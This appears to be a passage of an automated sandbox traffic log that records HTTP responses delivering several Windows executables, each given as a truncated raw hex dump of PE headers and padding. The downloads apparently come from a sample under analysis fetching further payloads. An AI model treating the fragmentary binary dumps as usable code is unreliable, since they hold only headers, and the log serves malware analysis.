Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:23:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:23:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:23:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:23:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:23:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:23:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 02:23:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
